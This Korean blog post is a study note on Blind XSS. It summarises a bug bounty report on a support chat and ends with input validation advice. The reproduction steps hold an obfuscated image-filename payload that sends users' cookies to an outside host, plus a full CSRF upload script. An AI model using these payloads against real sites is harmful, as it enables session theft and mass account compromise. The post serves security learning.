반응형

Hactivity 중에서 Blind XSS 관련 취약점이 눈에 띄길래 정리해보려고 합니다.

역시 XSS 취약점 중에서도 큰 금액인 $1,000를 바운티로 받았습니다. 아마 영향도가 커서 그렇게 적용된 것으로 보입니다.

 

Blind XSS(Cross Site Scripting)란?

Blind XSS 공격이란 Stored XSS 공격의 한 종류? CASE입니다. 저 같은 경우, XSS 취약점을 검수할 때는 우선 악성 스크립트 구문을 삽입한 후 응답 내 해당 구문이 정상적으로 삽입이 되었는가, 또 삽입된 구문이 클라이언트 측에서 성공적으로 실행이 되는가를 기준으로 점검하고 있습니다.

 

하지만, Blind XSS의 경우 삽입한 페이로드가 어디에 저장되었는지, 언제 실행될지 모르는 상황일 때를 말합니다. 예를 들어, 특정 사이트의 신고 또는 문의 기능처럼 사용자가 등록하였지만 해당 글은 노출되지 않고 관리자 페이지에서만 확인 가능한 경우..등이 대표적입니다. 

 

사실 기존에 알고있던 Stored XSS 취약점과 별반 다를 게 없지만, 공격자 측에서 악성 스크립트가 실행되는 여부 및 위치를 바로 확인할 수 없는 특수한 경우Blind XSS라고 칭하는 것을 이번에 처음 알게 되었습니다.

 

Blind XSS 공격은 언제 어디서 실행될지 모르지만 분명 잠재적인 영향력이 존재합니다. 관리자 페이지 또는 로그 서버 등에서 삽입된 악성 페이로드가 실행된다면, 내부망 침투까지 가능한 시나리오가 존재하기 때문에 더욱 위험합니다.

 

 

Blind XSS(Cross Site Scripting)의 대표적인 CASE

1. Logon forms

대부분의 사이트에서 로그인할 경우 성공 또는 실패한 로그인 기록을 로그 파일에 저장합니다.(책임 추적성 근거) 만약, 사용자 입력값에 대한 적절한 검증이 이루어지고 있지 않다면 공격자는 악의적인 스크립트 구문을 로그 DB/파일에 저장하기 위해 여러 번 로그온 시도를 할 것이고, 추후 관리자가 모니터링을 위해 웹 페이지에서 해당 로그를 오픈한다면 악의적으로 삽입된 구문이 실행될 수 있습니다.

 

2. Forums / Message boards

위에서 언급했다시피 공격자는 포럼 또는 게시판 제목 또는 내용 항목에 악성 스크립트 구문을 삽입할 수 있습니다. 데이터베이스에 저장된 악성 페이로드가 인기 보고서와 같은 포럼 관리 웹 페이지를 로드할 때 노출되어 스크립트 구문이 실행되며, 해당 스크립트로 인해 정보 노출, 리다이렉션, 서비스 거부 공격(DOS) 등을 야기할 수 있습니다.

 

3. ETC

  • Contact/Feedback pages
  • Log viewers
  • Exception handlers
  • Chat Applications / forums
  • Customer Ticket Applications
  • Web Application Firewalls
  • Any Application that requires user moderation

 

Bug Bounty CASE

실제 버그 바운티 사례를 보도록 하겠습니다.

 

 

요약하자면, 해커는 support 채팅에 이미지를 보내고, 해당 이미지 이름에 스크립트 구문을 삽입 후 변경하여 XSS 취약점을 발생시켰고, CSRF 취약점을 이용하여 XSS 취약점이 존재하는 이미지를 모든 사용자에게 보낼 수 있다고 설명하였습니다.

 

Steps to Reproduce 

1. support chat에 이미지 업로드

2. 파일 명을 아래의 스크립트 구문으로 변조

\"><img src=1 onerror=\"url=String['fromCharCode'](104,116,116,112,115,58,47,47,103,97,116,111,108,111,117,99,111,46,48,48,48,119,101,98,104,111,115,116,97,112,112,46,99,111,109,47,99,115,109,111,110,101,121,47,105,110,100,101,120,46,112,104,112,63,116,111,107,101,110,115,61)+encodeURIComponent(document['cookie']);xhttp= new XMLHttpRequest();xhttp['open']('GET',url,true);xhttp['send']();

3. support chat을 열 경우 XSS 공격이 실행된다.

 

4. 서버는 이미지 전송 시 토큰 값 및 헤더의 'Origin and Reference' 값을 검증하지 않아 CSRF 취약점이 발견

5. 임의의 웹 서버에 'index.php' 이름으로 CSRF 공격 파일 호스트

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://support.cs.money/upload_file", false);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
        xhr.withCredentials = "true";
        var body = "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"\\\" onerror=alert('xss') \\\"\"\r\n" +
          "Content-Type: image/png\r\n" +
          "\r\n" +
          String.fromCharCode(0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x06, 0x00, 0x00, 0x00, 0x1F, 0x15, 0xC4, 0x89, 0x00, 0x00, 0x00, 0x01, 0x73, 0x52, 0x47, 0x42, 0x00, 0xAE, 0xCE, 0x1C, 0xE9, 0x00, 0x00, 0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00, 0xB1, 0x8F, 0x0B, 0xFC, 0x61, 0x05, 0x00, 0x00, 0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x0E, 0xC3, 0x00, 0x00, 0x0E, 0xC3, 0x01, 0xC7, 0x6F, 0xA8, 0x64, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x44, 0x41, 0x54, 0x18, 0x57, 0x63, 0xF8, 0xFB, 0xF7, 0xFF, 0x7F, 0x00, 0x09, 0xED, 0x03, 0xF9, 0x94, 0x8C, 0x14, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82) + "\r\n" +
          "-----------------------------256672629917035--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    try{      submitRequest();

    }catch(e){
        location.href="https://cs.money";

    }
    </script>

  </body>
</html>

6. 파일 링크를 더 짧은 도메인(bit.ly)으로 단축하거나 csmoney.shop과 같은 도메인 사용

7. 공격 구문 전송 후 Massive XSS 공격 성공

 

Blind XSS 대응방안

기존 Reflected, Stored XSS 취약점의 대응방안과 다를 게 없습니다. 따라서 가장 효과적인 방법으로는 "코드 검토를 통한 사용자 입력값 검증(위생처리)"라고 할 수 있습니다. 

 


좀 더 추가하고 싶은 내용이 생긴다면 추가할 예정!


※ 참고 자료

- https://hackerone.com/reports/1010466

- https://www.hahwul.com/2017/11/12/web-hacking-blind-xsscross-site/

- https://medium.com/@R0X4R/introduction-to-blind-xss-417dcf9c842c
- https://www.acunetix.com/websitesecurity/detecting-blind-xss-vulnerabilities/

- https://www.acunetix.com/blog/articles/blind-xss/

반응형

'Study > Bug Bounty' 카테고리의 다른 글

[XSS] DOM Based XSS(Cross Site Scripting)  (0) 2020.04.17
#1. Bug Bounty Platform  (0) 2020.02.21

+ Recent posts